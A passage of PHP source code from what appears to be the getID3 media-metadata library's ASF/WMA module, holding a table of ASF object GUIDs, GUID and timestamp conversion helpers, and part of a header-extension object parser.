			$thisfile_video['pixel_aspect_ratio'] = (isset($thisfile_audio['pixel_aspect_ratio']) ? $thisfile_audio['pixel_aspect_ratio'] : (float) 1);
			$thisfile_video['dataformat']         = (!empty($thisfile_video['dataformat'])        ? $thisfile_video['dataformat']         : 'asf');
		}
		if (!empty($thisfile_video['streams'])) {
			$thisfile_video['resolution_x'] = 0;
			$thisfile_video['resolution_y'] = 0;
			foreach ($thisfile_video['streams'] as $key => $valuearray) {
				if (($valuearray['resolution_x'] > $thisfile_video['resolution_x']) || ($valuearray['resolution_y'] > $thisfile_video['resolution_y'])) {
					$thisfile_video['resolution_x'] = $valuearray['resolution_x'];
					$thisfile_video['resolution_y'] = $valuearray['resolution_y'];
				}
			}
		}
		$info['bitrate'] = 0 + (isset($thisfile_audio['bitrate']) ? $thisfile_audio['bitrate'] : 0) + (isset($thisfile_video['bitrate']) ? $thisfile_video['bitrate'] : 0);

		if ((!isset($info['playtime_seconds']) || ($info['playtime_seconds'] <= 0)) && ($info['bitrate'] > 0)) {
			$info['playtime_seconds'] = ($info['filesize'] - $info['avdataoffset']) / ($info['bitrate'] / 8);
		}

		return true;
	}

	/**
	 * @param int $CodecListType
	 *
	 * @return string
	 */
	public static function codecListObjectTypeLookup($CodecListType) {
		static $lookup = array(
			0x0001 => 'Video Codec',
			0x0002 => 'Audio Codec',
			0xFFFF => 'Unknown Codec'
		);

		return (isset($lookup[$CodecListType]) ? $lookup[$CodecListType] : 'Invalid Codec Type');
	}

	/**
	 * @return array
	 */
	public static function KnownGUIDs() {
		static $GUIDarray = array(
			'GETID3_ASF_Extended_Stream_Properties_Object'   => '14E6A5CB-C672-4332-8399-A96952065B5A',
			'GETID3_ASF_Padding_Object'                      => '1806D474-CADF-4509-A4BA-9AABCB96AAE8',
			'GETID3_ASF_Payload_Ext_Syst_Pixel_Aspect_Ratio' => '1B1EE554-F9EA-4BC8-821A-376B74E4C4B8',
			'GETID3_ASF_Script_Command_Object'               => '1EFB1A30-0B62-11D0-A39B-00A0C90348F6',
			'GETID3_ASF_No_Error_Correction'                 => '20FB5700-5B55-11CF-A8FD-00805F5C442B',
			'GETID3_ASF_Content_Branding_Object'             => '2211B3FA-BD23-11D2-B4B7-00A0C955FC6E',
			'GETID3_ASF_Content_Encryption_Object'           => '2211B3FB-BD23-11D2-B4B7-00A0C955FC6E',
			'GETID3_ASF_Digital_Signature_Object'            => '2211B3FC-BD23-11D2-B4B7-00A0C955FC6E',
			'GETID3_ASF_Extended_Content_Encryption_Object'  => '298AE614-2622-4C17-B935-DAE07EE9289C',
			'GETID3_ASF_Simple_Index_Object'                 => '33000890-E5B1-11CF-89F4-00A0C90349CB',
			'GETID3_ASF_Degradable_JPEG_Media'               => '35907DE0-E415-11CF-A917-00805F5C442B',
			'GETID3_ASF_Payload_Extension_System_Timecode'   => '399595EC-8667-4E2D-8FDB-98814CE76C1E',
			'GETID3_ASF_Binary_Media'                        => '3AFB65E2-47EF-40F2-AC2C-70A90D71D343',
			'GETID3_ASF_Timecode_Index_Object'               => '3CB73FD0-0C4A-4803-953D-EDF7B6228F0C',
			'GETID3_ASF_Metadata_Library_Object'             => '44231C94-9498-49D1-A141-1D134E457054',
			'GETID3_ASF_Reserved_3'                          => '4B1ACBE3-100B-11D0-A39B-00A0C90348F6',
			'GETID3_ASF_Reserved_4'                          => '4CFEDB20-75F6-11CF-9C0F-00A0C90349CB',
			'GETID3_ASF_Command_Media'                       => '59DACFC0-59E6-11D0-A3AC-00A0C90348F6',
			'GETID3_ASF_Header_Extension_Object'             => '5FBF03B5-A92E-11CF-8EE3-00C00C205365',
			'GETID3_ASF_Media_Object_Index_Parameters_Obj'   => '6B203BAD-3F11-4E84-ACA8-D7613DE2CFA7',
			'GETID3_ASF_Header_Object'                       => '75B22630-668E-11CF-A6D9-00AA0062CE6C',
			'GETID3_ASF_Content_Description_Object'          => '75B22633-668E-11CF-A6D9-00AA0062CE6C',
			'GETID3_ASF_Error_Correction_Object'             => '75B22635-668E-11CF-A6D9-00AA0062CE6C',
			'GETID3_ASF_Data_Object'                         => '75B22636-668E-11CF-A6D9-00AA0062CE6C',
			'GETID3_ASF_Web_Stream_Media_Subtype'            => '776257D4-C627-41CB-8F81-7AC7FF1C40CC',
			'GETID3_ASF_Stream_Bitrate_Properties_Object'    => '7BF875CE-468D-11D1-8D82-006097C9A2B2',
			'GETID3_ASF_Language_List_Object'                => '7C4346A9-EFE0-4BFC-B229-393EDE415C85',
			'GETID3_ASF_Codec_List_Object'                   => '86D15240-311D-11D0-A3A4-00A0C90348F6',
			'GETID3_ASF_Reserved_2'                          => '86D15241-311D-11D0-A3A4-00A0C90348F6',
			'GETID3_ASF_File_Properties_Object'              => '8CABDCA1-A947-11CF-8EE4-00C00C205365',
			'GETID3_ASF_File_Transfer_Media'                 => '91BD222C-F21C-497A-8B6D-5AA86BFC0185',
			'GETID3_ASF_Old_RTP_Extension_Data'              => '96800C63-4C94-11D1-837B-0080C7A37F95',
			'GETID3_ASF_Advanced_Mutual_Exclusion_Object'    => 'A08649CF-4775-4670-8A16-6E35357566CD',
			'GETID3_ASF_Bandwidth_Sharing_Object'            => 'A69609E6-517B-11D2-B6AF-00C04FD908E9',
			'GETID3_ASF_Reserved_1'                          => 'ABD3D211-A9BA-11cf-8EE6-00C00C205365',
			'GETID3_ASF_Bandwidth_Sharing_Exclusive'         => 'AF6060AA-5197-11D2-B6AF-00C04FD908E9',
			'GETID3_ASF_Bandwidth_Sharing_Partial'           => 'AF6060AB-5197-11D2-B6AF-00C04FD908E9',
			'GETID3_ASF_JFIF_Media'                          => 'B61BE100-5B4E-11CF-A8FD-00805F5C442B',
			'GETID3_ASF_Stream_Properties_Object'            => 'B7DC0791-A9B7-11CF-8EE6-00C00C205365',
			'GETID3_ASF_Video_Media'                         => 'BC19EFC0-5B4D-11CF-A8FD-00805F5C442B',
			'GETID3_ASF_Audio_Spread'                        => 'BFC3CD50-618F-11CF-8BB2-00AA00B4E220',
			'GETID3_ASF_Metadata_Object'                     => 'C5F8CBEA-5BAF-4877-8467-AA8C44FA4CCA',
			'GETID3_ASF_Payload_Ext_Syst_Sample_Duration'    => 'C6BD9450-867F-4907-83A3-C77921B733AD',
			'GETID3_ASF_Group_Mutual_Exclusion_Object'       => 'D1465A40-5A79-4338-B71B-E36B8FD6C249',
			'GETID3_ASF_Extended_Content_Description_Object' => 'D2D0A440-E307-11D2-97F0-00A0C95EA850',
			'GETID3_ASF_Stream_Prioritization_Object'        => 'D4FED15B-88D3-454F-81F0-ED5C45999E24',
			'GETID3_ASF_Payload_Ext_System_Content_Type'     => 'D590DC20-07BC-436C-9CF7-F3BBFBF1A4DC',
			'GETID3_ASF_Old_File_Properties_Object'          => 'D6E229D0-35DA-11D1-9034-00A0C90349BE',
			'GETID3_ASF_Old_ASF_Header_Object'               => 'D6E229D1-35DA-11D1-9034-00A0C90349BE',
			'GETID3_ASF_Old_ASF_Data_Object'                 => 'D6E229D2-35DA-11D1-9034-00A0C90349BE',
			'GETID3_ASF_Index_Object'                        => 'D6E229D3-35DA-11D1-9034-00A0C90349BE',
			'GETID3_ASF_Old_Stream_Properties_Object'        => 'D6E229D4-35DA-11D1-9034-00A0C90349BE',
			'GETID3_ASF_Old_Content_Description_Object'      => 'D6E229D5-35DA-11D1-9034-00A0C90349BE',
			'GETID3_ASF_Old_Script_Command_Object'           => 'D6E229D6-35DA-11D1-9034-00A0C90349BE',
			'GETID3_ASF_Old_Marker_Object'                   => 'D6E229D7-35DA-11D1-9034-00A0C90349BE',
			'GETID3_ASF_Old_Component_Download_Object'       => 'D6E229D8-35DA-11D1-9034-00A0C90349BE',
			'GETID3_ASF_Old_Stream_Group_Object'             => 'D6E229D9-35DA-11D1-9034-00A0C90349BE',
			'GETID3_ASF_Old_Scalable_Object'                 => 'D6E229DA-35DA-11D1-9034-00A0C90349BE',
			'GETID3_ASF_Old_Prioritization_Object'           => 'D6E229DB-35DA-11D1-9034-00A0C90349BE',
			'GETID3_ASF_Bitrate_Mutual_Exclusion_Object'     => 'D6E229DC-35DA-11D1-9034-00A0C90349BE',
			'GETID3_ASF_Old_Inter_Media_Dependency_Object'   => 'D6E229DD-35DA-11D1-9034-00A0C90349BE',
			'GETID3_ASF_Old_Rating_Object'                   => 'D6E229DE-35DA-11D1-9034-00A0C90349BE',
			'GETID3_ASF_Index_Parameters_Object'             => 'D6E229DF-35DA-11D1-9034-00A0C90349BE',
			'GETID3_ASF_Old_Color_Table_Object'              => 'D6E229E0-35DA-11D1-9034-00A0C90349BE',
			'GETID3_ASF_Old_Language_List_Object'            => 'D6E229E1-35DA-11D1-9034-00A0C90349BE',
			'GETID3_ASF_Old_Audio_Media'                     => 'D6E229E2-35DA-11D1-9034-00A0C90349BE',
			'GETID3_ASF_Old_Video_Media'                     => 'D6E229E3-35DA-11D1-9034-00A0C90349BE',
			'GETID3_ASF_Old_Image_Media'                     => 'D6E229E4-35DA-11D1-9034-00A0C90349BE',
			'GETID3_ASF_Old_Timecode_Media'                  => 'D6E229E5-35DA-11D1-9034-00A0C90349BE',
			'GETID3_ASF_Old_Text_Media'                      => 'D6E229E6-35DA-11D1-9034-00A0C90349BE',
			'GETID3_ASF_Old_MIDI_Media'                      => 'D6E229E7-35DA-11D1-9034-00A0C90349BE',
			'GETID3_ASF_Old_Command_Media'                   => 'D6E229E8-35DA-11D1-9034-00A0C90349BE',
			'GETID3_ASF_Old_No_Error_Concealment'            => 'D6E229EA-35DA-11D1-9034-00A0C90349BE',
			'GETID3_ASF_Old_Scrambled_Audio'                 => 'D6E229EB-35DA-11D1-9034-00A0C90349BE',
			'GETID3_ASF_Old_No_Color_Table'                  => 'D6E229EC-35DA-11D1-9034-00A0C90349BE',
			'GETID3_ASF_Old_SMPTE_Time'                      => 'D6E229ED-35DA-11D1-9034-00A0C90349BE',
			'GETID3_ASF_Old_ASCII_Text'                      => 'D6E229EE-35DA-11D1-9034-00A0C90349BE',
			'GETID3_ASF_Old_Unicode_Text'                    => 'D6E229EF-35DA-11D1-9034-00A0C90349BE',
			'GETID3_ASF_Old_HTML_Text'                       => 'D6E229F0-35DA-11D1-9034-00A0C90349BE',
			'GETID3_ASF_Old_URL_Command'                     => 'D6E229F1-35DA-11D1-9034-00A0C90349BE',
			'GETID3_ASF_Old_Filename_Command'                => 'D6E229F2-35DA-11D1-9034-00A0C90349BE',
			'GETID3_ASF_Old_ACM_Codec'                       => 'D6E229F3-35DA-11D1-9034-00A0C90349BE',
			'GETID3_ASF_Old_VCM_Codec'                       => 'D6E229F4-35DA-11D1-9034-00A0C90349BE',
			'GETID3_ASF_Old_QuickTime_Codec'                 => 'D6E229F5-35DA-11D1-9034-00A0C90349BE',
			'GETID3_ASF_Old_DirectShow_Transform_Filter'     => 'D6E229F6-35DA-11D1-9034-00A0C90349BE',
			'GETID3_ASF_Old_DirectShow_Rendering_Filter'     => 'D6E229F7-35DA-11D1-9034-00A0C90349BE',
			'GETID3_ASF_Old_No_Enhancement'                  => 'D6E229F8-35DA-11D1-9034-00A0C90349BE',
			'GETID3_ASF_Old_Unknown_Enhancement_Type'        => 'D6E229F9-35DA-11D1-9034-00A0C90349BE',
			'GETID3_ASF_Old_Temporal_Enhancement'            => 'D6E229FA-35DA-11D1-9034-00A0C90349BE',
			'GETID3_ASF_Old_Spatial_Enhancement'             => 'D6E229FB-35DA-11D1-9034-00A0C90349BE',
			'GETID3_ASF_Old_Quality_Enhancement'             => 'D6E229FC-35DA-11D1-9034-00A0C90349BE',
			'GETID3_ASF_Old_Number_of_Channels_Enhancement'  => 'D6E229FD-35DA-11D1-9034-00A0C90349BE',
			'GETID3_ASF_Old_Frequency_Response_Enhancement'  => 'D6E229FE-35DA-11D1-9034-00A0C90349BE',
			'GETID3_ASF_Old_Media_Object'                    => 'D6E229FF-35DA-11D1-9034-00A0C90349BE',
			'GETID3_ASF_Mutex_Language'                      => 'D6E22A00-35DA-11D1-9034-00A0C90349BE',
			'GETID3_ASF_Mutex_Bitrate'                       => 'D6E22A01-35DA-11D1-9034-00A0C90349BE',
			'GETID3_ASF_Mutex_Unknown'                       => 'D6E22A02-35DA-11D1-9034-00A0C90349BE',
			'GETID3_ASF_Old_ASF_Placeholder_Object'          => 'D6E22A0E-35DA-11D1-9034-00A0C90349BE',
			'GETID3_ASF_Old_Data_Unit_Extension_Object'      => 'D6E22A0F-35DA-11D1-9034-00A0C90349BE',
			'GETID3_ASF_Web_Stream_Format'                   => 'DA1E6B13-8359-4050-B398-388E965BF00C',
			'GETID3_ASF_Payload_Ext_System_File_Name'        => 'E165EC0E-19ED-45D7-B4A7-25CBD1E28E9B',
			'GETID3_ASF_Marker_Object'                       => 'F487CD01-A951-11CF-8EE6-00C00C205365',
			'GETID3_ASF_Timecode_Index_Parameters_Object'    => 'F55E496D-9797-4B5D-8C8B-604DFE9BFB24',
			'GETID3_ASF_Audio_Media'                         => 'F8699E40-5B4D-11CF-A8FD-00805F5C442B',
			'GETID3_ASF_Media_Object_Index_Object'           => 'FEB103F8-12AD-4C64-840F-2A1D2F7AD48C',
			'GETID3_ASF_Alt_Extended_Content_Encryption_Obj' => 'FF889EF1-ADEE-40DA-9E71-98704BB928CE',
			'GETID3_ASF_Index_Placeholder_Object'            => 'D9AADE20-7C17-4F9C-BC28-8555DD98E2A2', // https://metacpan.org/dist/Audio-WMA/source/WMA.pm
			'GETID3_ASF_Compatibility_Object'                => '26F18B5D-4584-47EC-9F5F-0E651F0452C9', // https://metacpan.org/dist/Audio-WMA/source/WMA.pm
			'GETID3_ASF_Media_Object_Index_Parameters_Object'=> '6B203BAD-3F11-48E4-ACA8-D7613DE2CFA7',
		);
		return $GUIDarray;
	}

	/**
	 * @param string $GUIDstring
	 *
	 * @return string|false
	 */
	public static function GUIDname($GUIDstring) {
		static $GUIDarray = array();
		if (empty($GUIDarray)) {
			$GUIDarray = self::KnownGUIDs();
		}
		return array_search($GUIDstring, $GUIDarray);
	}

	/**
	 * @param int $id
	 *
	 * @return string
	 */
	public static function ASFIndexObjectIndexTypeLookup($id) {
		static $ASFIndexObjectIndexTypeLookup = array();
		if (empty($ASFIndexObjectIndexTypeLookup)) {
			$ASFIndexObjectIndexTypeLookup[1] = 'Nearest Past Data Packet';
			$ASFIndexObjectIndexTypeLookup[2] = 'Nearest Past Media Object';
			$ASFIndexObjectIndexTypeLookup[3] = 'Nearest Past Cleanpoint';
		}
		return (isset($ASFIndexObjectIndexTypeLookup[$id]) ? $ASFIndexObjectIndexTypeLookup[$id] : 'invalid');
	}

	/**
	 * @param string $GUIDstring
	 *
	 * @return string
	 */
	public static function GUIDtoBytestring($GUIDstring) {
		// Microsoft defines these 16-byte (128-bit) GUIDs in the strangest way:
		// first 4 bytes are in little-endian order
		// next 2 bytes are appended in little-endian order
		// next 2 bytes are appended in little-endian order
		// next 2 bytes are appended in big-endian order
		// next 6 bytes are appended in big-endian order

		// AaBbCcDd-EeFf-GgHh-IiJj-KkLlMmNnOoPp is stored as this 16-byte string:
		// $Dd $Cc $Bb $Aa $Ff $Ee $Hh $Gg $Ii $Jj $Kk $Ll $Mm $Nn $Oo $Pp

		$hexbytecharstring  = chr(hexdec(substr($GUIDstring,  6, 2)));
		$hexbytecharstring .= chr(hexdec(substr($GUIDstring,  4, 2)));
		$hexbytecharstring .= chr(hexdec(substr($GUIDstring,  2, 2)));
		$hexbytecharstring .= chr(hexdec(substr($GUIDstring,  0, 2)));

		$hexbytecharstring .= chr(hexdec(substr($GUIDstring, 11, 2)));
		$hexbytecharstring .= chr(hexdec(substr($GUIDstring,  9, 2)));

		$hexbytecharstring .= chr(hexdec(substr($GUIDstring, 16, 2)));
		$hexbytecharstring .= chr(hexdec(substr($GUIDstring, 14, 2)));

		$hexbytecharstring .= chr(hexdec(substr($GUIDstring, 19, 2)));
		$hexbytecharstring .= chr(hexdec(substr($GUIDstring, 21, 2)));

		$hexbytecharstring .= chr(hexdec(substr($GUIDstring, 24, 2)));
		$hexbytecharstring .= chr(hexdec(substr($GUIDstring, 26, 2)));
		$hexbytecharstring .= chr(hexdec(substr($GUIDstring, 28, 2)));
		$hexbytecharstring .= chr(hexdec(substr($GUIDstring, 30, 2)));
		$hexbytecharstring .= chr(hexdec(substr($GUIDstring, 32, 2)));
		$hexbytecharstring .= chr(hexdec(substr($GUIDstring, 34, 2)));

		return $hexbytecharstring;
	}

	/**
	 * @param string $Bytestring
	 *
	 * @return string
	 */
	public static function BytestringToGUID($Bytestring) {
		$GUIDstring  = str_pad(dechex(ord($Bytestring[3])),  2, '0', STR_PAD_LEFT);
		$GUIDstring .= str_pad(dechex(ord($Bytestring[2])),  2, '0', STR_PAD_LEFT);
		$GUIDstring .= str_pad(dechex(ord($Bytestring[1])),  2, '0', STR_PAD_LEFT);
		$GUIDstring .= str_pad(dechex(ord($Bytestring[0])),  2, '0', STR_PAD_LEFT);
		$GUIDstring .= '-';
		$GUIDstring .= str_pad(dechex(ord($Bytestring[5])),  2, '0', STR_PAD_LEFT);
		$GUIDstring .= str_pad(dechex(ord($Bytestring[4])),  2, '0', STR_PAD_LEFT);
		$GUIDstring .= '-';
		$GUIDstring .= str_pad(dechex(ord($Bytestring[7])),  2, '0', STR_PAD_LEFT);
		$GUIDstring .= str_pad(dechex(ord($Bytestring[6])),  2, '0', STR_PAD_LEFT);
		$GUIDstring .= '-';
		$GUIDstring .= str_pad(dechex(ord($Bytestring[8])),  2, '0', STR_PAD_LEFT);
		$GUIDstring .= str_pad(dechex(ord($Bytestring[9])),  2, '0', STR_PAD_LEFT);
		$GUIDstring .= '-';
		$GUIDstring .= str_pad(dechex(ord($Bytestring[10])), 2, '0', STR_PAD_LEFT);
		$GUIDstring .= str_pad(dechex(ord($Bytestring[11])), 2, '0', STR_PAD_LEFT);
		$GUIDstring .= str_pad(dechex(ord($Bytestring[12])), 2, '0', STR_PAD_LEFT);
		$GUIDstring .= str_pad(dechex(ord($Bytestring[13])), 2, '0', STR_PAD_LEFT);
		$GUIDstring .= str_pad(dechex(ord($Bytestring[14])), 2, '0', STR_PAD_LEFT);
		$GUIDstring .= str_pad(dechex(ord($Bytestring[15])), 2, '0', STR_PAD_LEFT);

		return strtoupper($GUIDstring);
	}

	/**
	 * @param int  $FILETIME
	 * @param bool $round
	 *
	 * @return float|int
	 */
	public static function FILETIMEtoUNIXtime($FILETIME, $round=true) {
		// FILETIME is a 64-bit unsigned integer representing
		// the number of 100-nanosecond intervals since January 1, 1601
		// UNIX timestamp is number of seconds since January 1, 1970
		// 116444736000000000 = 10000000 * 60 * 60 * 24 * 365 * 369 + 89 leap days
		if ($round) {
			return intval(round(($FILETIME - 116444736000000000) / 10000000));
		}
		return ($FILETIME - 116444736000000000) / 10000000;
	}

	/**
	 * @param int $WMpictureType
	 *
	 * @return string
	 */
	public static function WMpictureTypeLookup($WMpictureType) {
		static $lookup = null;
		if ($lookup === null) {
			$lookup = array(
				0x03 => 'Front Cover',
				0x04 => 'Back Cover',
				0x00 => 'User Defined',
				0x05 => 'Leaflet Page',
				0x06 => 'Media Label',
				0x07 => 'Lead Artist',
				0x08 => 'Artist',
				0x09 => 'Conductor',
				0x0A => 'Band',
				0x0B => 'Composer',
				0x0C => 'Lyricist',
				0x0D => 'Recording Location',
				0x0E => 'During Recording',
				0x0F => 'During Performance',
				0x10 => 'Video Screen Capture',
				0x12 => 'Illustration',
				0x13 => 'Band Logotype',
				0x14 => 'Publisher Logotype'
			);
			$lookup = array_map(function($str) {
				return getid3_lib::iconv_fallback('UTF-8', 'UTF-16LE', $str);
			}, $lookup);
		}

		return (isset($lookup[$WMpictureType]) ? $lookup[$WMpictureType] : '');
	}

	/**
	 * @param string $asf_header_extension_object_data
	 * @param int    $unhandled_sections
	 *
	 * @return array
	 */
	public function HeaderExtensionObjectDataParse(&$asf_header_extension_object_data, &$unhandled_sections) {
		// https://web.archive.org/web/20140419205228/http://msdn.microsoft.com/en-us/library/bb643323.aspx

		$offset = 0;
		$objectOffset = 0;
		$HeaderExtensionObjectParsed = array();
		while ($objectOffset < strlen($asf_header_extension_object_data)) {
			$offset = $objectOffset;
			$thisObject = array();

			$thisObject['guid']                              =                              substr($asf_header_extension_object_data, $offset, 16);
			$offset += 16;
			$thisObject['guid_text'] = $this->BytestringToGUID($thisObject['guid']);
			$thisObject['guid_name'] = $this->GUIDname($thisObject['guid_text']);

			$thisObject['size']                              = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  8));
			$offset += 8;
			if ($thisObject['size'] <= 0) {
				break;
			}

			switch ($thisObject['guid']) {
				case GETID3_ASF_Extended_Stream_Properties_Object:
					$thisObject['start_time']                        = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  8));
					$offset += 8;
					$thisObject['start_time_unix']                   = $this->FILETIMEtoUNIXtime($thisObject['start_time']);

					$thisObject['end_time']                          = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  8));
					$offset += 8;
					$thisObject['end_time_unix']                     = $this->FILETIMEtoUNIXtime($thisObject['end_time']);

					$thisObject['data_bitrate']                      = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  4));
					$offset += 4;

					$thisObject['buffer_size']                       = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  4));
					$offset += 4;

					$thisObject['initial_buffer_fullness']           = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  4));
					$offset += 4;

					$thisObject['alternate_data_bitrate']            = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  4));
					$offset += 4;

					$thisObject['alternate_buffer_size']             = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  4));
					$offset += 4;

					$thisObject['alternate_initial_buffer_fullness'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  4));
					$offset += 4;

					$thisObject['maximum_object_size']               = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  4));
					$offset += 4;

					$thisObject['flags_raw']                         = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  4));
					$offset += 4;
					$thisObject['flags']['reliable']                = (bool) $thisObject['flags_raw'] & 0x00000001;
					$thisObject['flags']['seekable']                = (bool) $thisObject['flags_raw'] & 0x00000002;
					$thisObject['flags']['no_cleanpoints']          = (bool) $thisObject['flags_raw'] & 0x00000004;
					$thisObject['flags']['resend_live_cleanpoints'] = (bool) $thisObject['flags_raw'] & 0x00000008;

					$thisObject['stream_number']                     = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  2));
					$offset += 2;

					$thisObject['stream_language_id_index']          = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  2));
					$offset += 2;

					$thisObject['average_time_per_frame']            = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  8));
					$offset += 8;

					$thisObject['stream_name_count']                 = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  2));
					$offset += 2;

					$thisObject['payload_extension_system_count']    = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  2));
					$offset += 2;

					for ($i = 0; $i < $thisObject['stream_name_count']; $i++) {
						$streamName = array();

						$streamName['language_id_index']             = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  2));
						$offset += 2;

						$streamName['stream_name_length']            = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  2));
						$offset += 2;

						$streamName['stream_name']                   =                              substr($asf_header_extension_object_data, $offset,  $streamName['stream_name_length']);
						$offset += $streamName['stream_name_length'];

						$thisObject['stream_names'][$i] = $streamName;
					}

					for ($i = 0; $i < $thisObject['payload_extension_system_count']; $i++) {
						$payloadExtensionSystem = array();

						$payloadExtensionSystem['extension_system_id']   =                              substr($asf_header_extension_object_data, $offset, 16);
						$offset += 16;
						$payloadExtensionSystem['extension_system_id_text'] = $this->BytestringToGUID($payloadExtensionSystem['extension_system_id']);

						$payloadExtensionSystem['extension_system_size'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  2));
						$offset += 2;
						if ($payloadExtensionSystem['extension_system_size'] <= 0) {
							break 2;
						}

						$payloadExtensionSystem['extension_system_info_length'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  4));
						$offset += 4;

						$payloadExtensionSystem['extension_system_info'] = substr($asf_header_extension_object_data, $offset,  $payloadExtensionSystem['extension_system_info_length']);
						$offset += $payloadExtensionSystem['extension_system_info_length'];

						$thisObject['payload_extension_systems'][$i] = $payloadExtensionSystem;
					}

					break;

				case GETID3_ASF_Advanced_Mutual_Exclusion_Object:
					$thisObject['exclusion_type']       = substr($asf_header_extension_object_data, $offset, 16);
					$offset += 16;
					$thisObject['exclusion_type_text']  = $this->BytestringToGUID($thisObject['exclusion_type']);

					$thisObject['stream_numbers_count'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  2));
					$offset += 2;

					for ($i = 0; $i < $thisObject['stream_numbers_count']; $i++) {
						$thisObject['stream_numbers'][$i] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  2));
						$offset += 2;
					}

					break;

				case GETID3_ASF_Stream_Prioritization_Object:
					$thisObject['priority_records_count'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  2));
					$offset += 2;

					for ($i = 0; $i < $thisObject['priority_records_count']; $i++) {
						$priorityRecord = array();

						$priorityRecord['stream_number'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  2));
						$offset += 2;

						$priorityRecord['flags_raw']     = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset, 2));
						$offset += 2;
						$priorityRecord['flags']['mandatory'] = (bool) $priorityRecord['flags_raw'] & 0x00000001;

						$thisObject['priority_records'][$i] = $priorityRecord;
					}

					break;

				case GETID3_ASF_Padding_Object:
					// padding, skip it
					break;

				case GETID3_ASF_Metadata_Object:
					$thisObject['description_record_counts'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  2));
					$offset += 2;

					for ($i = 0; $i < $thisObject['description_record_counts']; $i++) {
						$descriptionRecord = array();

						$descriptionRecord['reserved_1']         = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  2)); // must be zero
						$offset += 2;

						$descriptionRecord['stream_number']      = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  2));
						$offset += 2;

						$descriptionRecord['name_length']        = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  2));
						$offset += 2;

						$descriptionRecord['data_type']          = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  2));
						$offset += 2;
						$descriptionRecord['data_type_text'] = self::metadataLibraryObjectDataTypeLookup($descriptionRecord['data_type']);

						$descriptionRecord['data_length']        = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  4));
						$offset += 4;

						$descriptionRecord['name']               =                              substr($asf_header_extension_object_data, $offset,  $descriptionRecord['name_length']);
						$offset += $descriptionRecord['name_length'];

						$descriptionRecord['data']               =                              substr($asf_header_extension_object_data, $offset,  $descriptionRecord['data_length']);
						$offset += $descriptionRecord['data_length'];
						switch ($descriptionRecord['data_type']) {
							case 0x0000: // Unicode string
								break;

							case 0x0001: // BYTE array
								// do nothing
								break;

							case 0x0002: // BOOL
								$descriptionRecord['data'] = (bool) getid3_lib::LittleEndian2Int($descriptionRecord['data']);
								break;

							case 0x0003: // DWORD
							case 0x0004: // QWORD
							case 0x0005: // WORD
								$descriptionRecord['data'] = getid3_lib::LittleEndian2Int($descriptionRecord['data']);
								break;

							case 0x0006: // GUID
								$descriptionRecord['data_text'] = $this->BytestringToGUID($descriptionRecord['data']);
								break;
						}

						$thisObject['description_record'][$i] = $descriptionRecord;
					}
					break;

				case GETID3_ASF_Language_List_Object:
					$thisObject['language_id_record_counts'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  2));
					$offset += 2;

					for ($i = 0; $i < $thisObject['language_id_record_counts']; $i++) {
						$languageIDrecord = array();

						$languageIDrecord['language_id_length']         = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  1));
						$offset += 1;

						$languageIDrecord['language_id']                =                              substr($asf_header_extension_object_data, $offset,  $languageIDrecord['language_id_length']);
						$offset += $languageIDrecord['language_id_length'];

						$thisObject['language_id_record'][$i] = $languageIDrecord;
					}
					break;

				case GETID3_ASF_Metadata_Library_Object:
					$thisObject['description_records_count'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  2));
					$offset += 2;

					for ($i = 0; $i < $thisObject['description_records_count']; $i++) {
						$descriptionRecord = array();

						$descriptionRecord['language_list_index'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  2));
						$offset += 2;

						$descriptionRecord['stream_number']       = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  2));
						$offset += 2;

						$descriptionRecord['name_length']         = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  2));
						$offset += 2;

						$descriptionRecord['data_type']           = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  2));
						$offset += 2;
						$descriptionRecord['data_type_text'] = self::metadataLibraryObjectDataTypeLookup($descriptionRecord['data_type']);

						$descriptionRecord['data_length']         = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  4));
						$offset += 4;

						$descriptionRecord['name']                =                              substr($asf_header_extension_object_data, $offset,  $descriptionRecord['name_length']);
						$offset += $descriptionRecord['name_length'];

